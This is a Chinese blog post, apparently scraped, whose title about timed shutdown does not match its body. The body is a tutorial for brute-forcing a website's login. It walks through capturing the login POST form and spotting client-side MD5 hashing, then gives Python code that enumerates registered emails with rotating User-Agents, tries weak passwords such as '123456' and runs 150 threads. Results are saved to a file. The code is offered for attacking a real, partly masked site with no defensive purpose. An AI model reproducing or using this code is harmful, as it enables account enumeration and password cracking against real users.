网页抓取解密( python制作电脑定时关机办公神器,另含编程!编程)

优采云 发布时间: 2022-02-04 18:01

  网页抓取解密(

python制作电脑定时关机办公神器,另含编程!编程)

  

  

  捕获登录信息。

  

  使用 Post Form 表单提交用户名和密码。接下来我们看提交的用户名和密码。

  

  

  

  查看网站的脚本,发现密码是在本地进行MD5处理后发送给服务器的。

  至此,我们已经知道如何暴力破解网站。

  

  

  构造判断密码邮箱是否存在

  user_agent = [

'Mozilla/5.0 (Windows NT 5.2) AppleWebKit/534.30 (KHTML, like Gecko) Chrome/12.0.742.122 Safari/534.30',

'Mozilla/5.0 (Windows NT 5.1; rv:5.0) Gecko/20100101 Firefox/5.0',

'Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; Trident/4.0; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET4.0E; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; .NET4.0C)',

'Opera/9.80 (Windows NT 5.1; U; zh-cn) Presto/2.9.168 Version/11.50',

'Mozilla/5.0 (Windows; U; Windows NT 5.1; zh-CN) AppleWebKit/533.21.1 (KHTML, like Gecko) Version/5.0.5 Safari/533.21.1',

'Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0E; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; .NET4.0C)'

]

def save_pwd(user, pwd,desc):

with open("resut.txt","a+") as f:

f.write('user:'+ user + ' pwd:' + pwd + " desc:" + desc + '\n')

def user_test(username,password):

resp = ""

result = ""

url = "http://www.k*.htm"

pwd = password

user= username

md = hashlib.md5()

md.update(pwd)

password = md.hexdigest()

data = {'email':username,'password':password}

# 设置网页编码格式,解码获取到的中文字符

encoding = "gb18030"

# 构造http请求头,设置user-agent

header = {

"User-Agent": random.choice(user_agent),

'Content-Type':'application/x-www-form-urlencoded; charset=UTF-8',

'X-Requested-With':'XMLHttpRequest'

}

try:

requests.adapters.DEFAULT_RETRIES = 5

resp = requests.post(url, data=data, headers=header, timeout=335)

except requests.exceptions.ReadTimeout:

print("1")

time.sleep(10)

resp = requests.post(url, data=data, headers=header, timeout=335)

except requests.exceptions.Timeout:

print("2")

time.sleep(10)

resp = requests.post(url, data=data, headers=header, timeout=335)

except requests.exceptions.ConnectionError:

print("3")

time.sleep(10)

resp = requests.post(url, data=data, headers=header, timeout=335)

except socket.error:

time.sleep(10)

resp = requests.post(url, data=data, headers=header, timeout=335)

except BaseException as e:

print(e)

time.sleep(10)

resp = requests.post(url, data=data, headers=header, timeout=335)

resp.keep_alive = False

#print(resp.content)

try:

result = resp.content

json = resp.json()

print('邮箱:%s ,result:%s \n ' % (username,result))

if (json['message'].find('不存在') > -1):

#print('邮箱:%s 为空' % username )

return False

else:

print('邮箱: %s 存在' % username)

save_pwd(username, password, json['message'])

return True

except BaseException as e:

print("发送错误 e: %s result:%s response code:%d" % (e, result, resp.status_code ))

  好了,我们拿到邮箱后,需要判断密码是否正确。由于大多数人 网站 登录,他们仍然使用弱密码。我们可以在网上找到相关的词典库,然后直接破解即可。

  判断密码是否正确,我们只需要在判断邮箱存在后再加一个判断即可。

   if(json['message'].find('错误') > -1):

print("邮箱: %s 密码: %s ,密码错误!" % (username,pwd))

return False

else:

print('邮箱: %s 密码: %s ,登陆成功!' % (username, pwd))

  由于用户和密码验证次数较多,单线程工作时间较长,所以我们需要使用多线程来缩短密码破解时间。

  def thread_bru(): # 破解子线程函数

#while not user_end_judge():pwd_queue.empty()

while not user_end_judge():

try:

pwd = ‘123456’

user = get_user_nbr()

#print pwd_test

#if user_test(user, pwd_test):

if user_test(user, pwd):

result = pwd

print ('破解 %s 成功,密码为: %s' % (user, pwd))

break

except BaseException as e:

print("破解子线程错误: %s" % e)

def brute(threads):

for i in range(threads):

t = threading.Thread(target=thread_bru)

t.start()

print('破解线程-->%s 启动' % t.ident)

while (not user_end_judge()): # 剩余口令集判断

print('\r 进度: 当前值 %d' % pwd_queue.qsize())

time.sleep(2)

#print('\n破解完毕')

if __name__ == "__main__":

brute(150)

  好了,初步的写作完成了。让我们先完成一部电影,看看最终结果。

  

  加群:125240963 领取神秘礼包

  想和广大网友互动??

  上一篇:Python制作电脑关机办公神器,包括另外两种方式,无需编程!

0 个评论

要回复文章请先登录注册


官方客服QQ群

微信人工客服

QQ人工客服


线